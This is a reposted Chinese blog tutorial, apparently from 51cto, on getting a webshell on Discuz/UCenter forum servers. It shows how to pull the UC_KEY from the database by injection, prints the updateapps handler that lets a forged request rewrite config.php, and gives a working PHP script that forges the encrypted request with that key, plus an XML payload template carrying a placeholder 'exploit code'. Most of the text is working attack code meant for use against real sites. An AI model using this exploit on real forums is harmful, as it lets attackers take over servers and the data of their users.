DZ论坛系统 UC_KEY拿webshell
生活随笔
收集整理的這篇文章主要介紹了
DZ论坛系统 UC_KEY拿webshell
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
關于DZ后臺拿shell,很多同志都很苦惱是把,,不過最近外面看到一篇文章,應該 才出來的把,,這里給大家發出來把,。。
轉載者:littleli
我們只要得到UC_KEY,提交數據就可以修改配置文件來得到Webshell,而UC_KEY是保存在UCENTER中,一般的管理員配置的時候都使用同一權限配置。
我們有一個注射,如此,這般……大笑三聲,哈,哈,哈。
?
直接讀取數據庫uc_applications下的authkey即為UC_KEY。長度為64位。再接著是post數據的提交。最后的格式為:替換成你的一句話Shell,如圖11即可。
先生成需要的code
$get = $post = array();$code = @$_GET['code'];parse_str(authcode($code, 'DECODE', UC_KEY), $get);//需要UC_KEY進行解密if(MAGIC_QUOTES_GPC) {$get = sstripslashes($get);}if($_SGLOBAL['timestamp'] - $get['time'] > 3600) {//判斷提交的時間exit('Authracation has expiried');}if(empty($get)) {exit('Invalid Request');}include_once S_ROOT.'./uc_client/lib/xml.class.php';//我們提交的數據和需要調用的函數,主要看updateapps$post = xml_unserialize(file_get_contents('php://input'));if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {$uc_note = new uc_note();echo $uc_note->$get['action']($get, $post);exit();} else {exit(API_RETURN_FAILED);}//……function updateapps($get, $post) {global $_SGLOBAL;if(!API_UPDATEAPPS) {return API_RETURN_FORBIDDEN;}$UC_API = '';if($post['UC_API']) {$UC_API = $post['UC_API'];unset($post['UC_API']);}$cachefile = S_ROOT.'./uc_client/data/cache/apps.php';$fp = fopen($cachefile, 'w');$s = "<?php\r\n";$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";fwrite($fp, $s);fclose($fp);//配置文件if($UC_API && is_writeable(S_ROOT.'./config.php')) {$configfile = trim(file_get_contents(S_ROOT.'./config.php'));$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);if($fp = @fopen(S_ROOT.'./config.php', 'w')) {@fwrite($fp, trim($configfile));@fclose($fp);}}return API_RETURN_SUCCEED;} <?php//這里為注射得到的UC_KEYdefine('UC_KEY', '88V7m5VeF1Da9978a8ben5f1t317ldv78aPfWeP2D608h44e3ej1Xbt9m6mbl3L9');//這里為時間和需要調用的函數,時間寫大一些,避免不必要的錯誤。$code='time=1391966342&action=updateapps';function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key ? $key : $GLOBALS['discuz_auth_key']);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));}}//這里為最后生成的$codeprint_r(authcode($code, 'ENCODE', UC_KEY));?> <?phpinclude_once './uc_client/lib/xml.class.php';$a=array("UC_API"=>"exploit code");print_r(xml_serialize($a));?> <?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">exploit code</item></root>
到這里哥總算有了個滿意的效果,果斷上網測試,但是從目標站里跑出的UC_KEY長度為124并不能成功。
測試了幾個網站,發現個別網站數據庫key長度為124時,config.php文件里的key為64位。
你丫不按常理出牌啊。
哥對天一嘆,或許哥只能存在于傳說之中。(不是轉載者說的 – -。。。)
——————
作者:×××手轉載于:https://blog.51cto.com/pnig0s1992/489717
總結
以上是生活随笔為你收集整理的DZ论坛系统 UC_KEY拿webshell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何调整HOOK的跳转指令
- 下一篇: WinCE CEDDK之DMA相关函数